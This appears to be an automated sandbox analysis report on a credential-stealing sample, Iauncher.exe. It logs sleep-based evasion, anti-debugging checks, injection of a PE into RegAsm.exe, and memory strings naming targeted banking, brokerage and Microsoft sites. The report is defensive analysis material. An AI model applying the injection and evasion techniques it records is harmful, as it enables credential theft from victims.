Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 1592	Jump to behavior

Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -24903104499507879s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -598888s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -598766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -598656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -598547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -598437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -598328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -598219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -598094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -597984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -597875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -597765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -597656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -597547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -597437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -597328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -597219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -597094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -596984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -596875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -596765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -596656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -596547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -596437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -596328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -596219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -596109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -595999s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -595875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -595765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -595647s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -595531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -595422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -595312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -595203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -595093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -594969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -594859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -594750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -594640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe TID: 4204	Thread sleep time: -594531s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7652	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7348	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe

Code function: 11_2_0057960E FindFirstFileExW,

11_2_0057960E

Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 598888	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 598766	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 598437	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 598328	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 598094	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597984	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597875	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597547	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596875	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596765	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596547	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596219	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595999	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595875	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595765	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595647	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595531	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595422	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595312	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 595093	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 594640	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: RegAsm.exe, 0000000D.00000002.1432276704.0000000000786000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Iauncher.exe, 00000000.00000002.3682596392.0000000005619000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000D.00000002.1432276704.0000000000786000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: RegAsm.exe, 0000000D.00000002.1436621457.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: RegAsm.exe, 0000000D.00000002.1439916693.000000000367A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe

Code function: 11_2_0056AAD3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

11_2_0056AAD3

Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_00570E87 mov ecx, dword ptr fs:[00000030h]		11_2_00570E87
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_0057A789 mov eax, dword ptr fs:[00000030h]		11_2_0057A789

Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe

Code function: 11_2_0057CD88 GetProcessHeap,

11_2_0057CD88

Source: C:\Users\user\Desktop\Iauncher.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_0056AAD3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_0056AAD3
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_00566A95 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_00566A95
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_00566D9F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00566D9F
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: 11_2_00566EFB SetUnhandledExceptionFilter,	11_2_00566EFB

Source: C:\Users\user\Desktop\Iauncher.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 432000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 450000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 321008	Jump to behavior

Source: C:\Users\user\Desktop\Iauncher.exe	Process created: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe "C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe"			Jump to behavior
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"			Jump to behavior

Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe

Code function: 11_2_0056687C cpuid

11_2_0056687C

Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: GetLocaleInfoW,	11_2_0057C828
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	11_2_0057C951
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	11_2_0057C1C2
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: GetLocaleInfoW,	11_2_0057CA57
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	11_2_0057CB26
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: EnumSystemLocalesW,	11_2_0057C464
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: EnumSystemLocalesW,	11_2_0057C4AF
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: EnumSystemLocalesW,	11_2_0057C54A
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: GetLocaleInfoW,	11_2_00575D19
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	11_2_0057C5D5
Source: C:\Users\user\AppData\Roaming\Gitgo2\Iauncher.exe	Code function: EnumSystemLocalesW,	11_2_005757F3

Source: C:\Users\user\Desktop\Iauncher.exe	Queries volume information: C:\Users\user\Desktop\Iauncher.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Iauncher.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
